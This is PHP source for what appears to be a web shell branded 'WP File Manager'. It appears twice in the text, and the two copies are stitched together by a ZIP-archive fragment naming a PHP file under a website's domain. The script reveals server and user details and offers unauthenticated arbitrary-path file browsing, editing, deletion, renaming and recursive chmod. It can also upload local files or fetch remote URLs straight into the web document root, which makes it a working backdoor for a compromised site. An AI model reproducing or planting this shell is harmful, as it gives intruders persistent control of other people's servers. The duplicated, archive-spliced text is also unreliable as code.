"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK‘&{]qÜd©Ë©Ëhr@dunyagozbalkans.com/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
